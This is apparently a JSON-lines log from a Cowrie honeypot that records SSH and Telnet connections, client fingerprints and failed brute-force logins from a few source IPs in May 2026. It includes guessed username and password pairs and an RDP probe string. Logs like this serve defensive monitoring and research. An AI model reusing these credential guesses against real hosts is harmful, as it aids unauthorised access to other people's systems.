{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:10.023973Z","src_ip":"31.40.204.166","session":"6c8e9b010a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.3935604095459,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:10.277621Z","src_ip":"152.42.224.71","session":"b707d545efbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.451436281204224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:10.327677Z","src_ip":"152.42.224.71","session":"d70ed231d66e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59526,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a6d209b316","protocol":"telnet","message":"New connection: 152.42.224.71:59526 (10.17.0.5:23) [session: f0a6d209b316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:10.805435Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:11.196608Z","src_ip":"31.40.204.166","session":"6c8e9b010a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.955217361450195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:12.713863Z","src_ip":"152.42.224.71","session":"9ab3085db940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3665889ba1b","protocol":"telnet","message":"New connection: 152.42.224.71:59538 (10.17.0.5:23) [session: e3665889ba1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:15.491699Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":54918,"dst_ip":"10.17.0.5","dst_port":22,"session":"910fe8f59d30","protocol":"ssh","message":"New connection: 170.106.159.59:54918 (10.17.0.5:22) [session: 910fe8f59d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:16.981893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:16.990277Z","src_ip":"170.106.159.59","session":"910fe8f59d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:17.058555Z","src_ip":"170.106.159.59","session":"910fe8f59d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"augustine","message":"login attempt [root/augustine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:17.363647Z","src_ip":"170.106.159.59","session":"910fe8f59d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:18.434888Z","src_ip":"170.106.159.59","session":"910fe8f59d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56382,"dst_ip":"10.17.0.5","dst_port":23,"session":"76838350b62f","protocol":"telnet","message":"New connection: 152.42.224.71:56382 (10.17.0.5:23) [session: 76838350b62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:19.368264Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":54533,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81742fa0662","protocol":"telnet","message":"New connection: 49.88.156.34:54533 (10.17.0.5:23) [session: c81742fa0662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:21.077120Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46146,"dst_ip":"159.203.135.109","dst_port":22,"session":"869d9a65ad12","protocol":"ssh","message":"New connection: 31.40.204.166:46146 (159.203.135.109:22) [session: 869d9a65ad12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:21.382400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:21.398189Z","src_ip":"31.40.204.166","session":"869d9a65ad12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:21.514643Z","src_ip":"31.40.204.166","session":"869d9a65ad12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:22.119711Z","src_ip":"31.40.204.166","session":"869d9a65ad12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.492987394332886,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:22.368032Z","src_ip":"152.42.224.71","session":"3552f788dd85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:23.304386Z","src_ip":"31.40.204.166","session":"869d9a65ad12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb3930454ef","protocol":"ssh","message":"New connection: 103.82.132.16:59572 (10.17.0.5:22) [session: ffb3930454ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:23.367256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:23.372584Z","src_ip":"103.82.132.16","session":"ffb3930454ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:23.635569Z","src_ip":"103.82.132.16","session":"ffb3930454ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"system","message":"login attempt [root/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:24.431308Z","src_ip":"103.82.132.16","session":"ffb3930454ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"2abc8ccc2e3e","protocol":"telnet","message":"New connection: 152.42.224.71:56396 (10.17.0.5:23) [session: 2abc8ccc2e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:24.446205Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:25.695881Z","src_ip":"103.82.132.16","session":"ffb3930454ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186395645142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:25.884340Z","src_ip":"152.42.224.71","session":"d0828d34fbc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56406,"dst_ip":"10.17.0.5","dst_port":23,"session":"719469de300c","protocol":"telnet","message":"New connection: 152.42.224.71:56406 (10.17.0.5:23) [session: 719469de300c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:26.794719Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60054,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4074d75ee1a","protocol":"telnet","message":"New connection: 152.42.224.71:60054 (10.17.0.5:23) [session: c4074d75ee1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:29.582667Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50390,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd659731bd1","protocol":"ssh","message":"New connection: 167.172.81.52:50390 (159.203.135.109:22) [session: bdd659731bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:29.883554Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:29.887954Z","src_ip":"167.172.81.52","session":"bdd659731bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:29.891501Z","src_ip":"167.172.81.52","session":"bdd659731bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60068,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad1ce12bd88","protocol":"telnet","message":"New connection: 152.42.224.71:60068 (10.17.0.5:23) [session: 9ad1ce12bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:30.593453Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56046,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c9ce0ec44ff","protocol":"ssh","message":"New connection: 31.40.204.166:56046 (159.203.135.109:22) [session: 1c9ce0ec44ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:33.282234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:33.290653Z","src_ip":"31.40.204.166","session":"1c9ce0ec44ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:33.422013Z","src_ip":"31.40.204.166","session":"1c9ce0ec44ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:34.114233Z","src_ip":"31.40.204.166","session":"1c9ce0ec44ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:35.303814Z","src_ip":"31.40.204.166","session":"1c9ce0ec44ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":52988,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ae3fb06310","protocol":"ssh","message":"New connection: 190.85.41.170:52988 (10.17.0.5:22) [session: 62ae3fb06310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:35.904589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:35.908843Z","src_ip":"190.85.41.170","session":"62ae3fb06310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.95750141143799,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:35.944067Z","src_ip":"152.42.224.71","session":"386fc464fd3b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:35.982834Z","src_ip":"190.85.41.170","session":"62ae3fb06310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345!","message":"login attempt [root/abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:36.303410Z","src_ip":"190.85.41.170","session":"62ae3fb06310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58424,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e58f5af6090","protocol":"telnet","message":"New connection: 152.42.224.71:58424 (10.17.0.5:23) [session: 5e58f5af6090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:36.813328Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:37.379135Z","src_ip":"190.85.41.170","session":"62ae3fb06310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.6830198764801,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:37.551700Z","src_ip":"152.42.224.71","session":"c917759783fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.512206315994263,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:40.105545Z","src_ip":"152.42.224.71","session":"9ad1ce12bd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad6236abbdc0","protocol":"telnet","message":"New connection: 152.42.224.71:58436 (10.17.0.5:23) [session: ad6236abbdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:40.531186Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":38630,"dst_ip":"10.17.0.5","dst_port":22,"session":"b80df6fcd707","protocol":"ssh","message":"New connection: 43.156.96.97:38630 (10.17.0.5:22) [session: b80df6fcd707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:42.860219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:42.865725Z","src_ip":"43.156.96.97","session":"b80df6fcd707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:43.110695Z","src_ip":"43.156.96.97","session":"b80df6fcd707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.40753221511841,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:43.424423Z","src_ip":"152.42.224.71","session":"43c1f66c73be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.17605948448181,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:43.667616Z","src_ip":"152.42.224.71","session":"e3665889ba1b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus123","message":"login attempt [root/sinus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:44.124735Z","src_ip":"43.156.96.97","session":"b80df6fcd707","protocol":"ssh"}
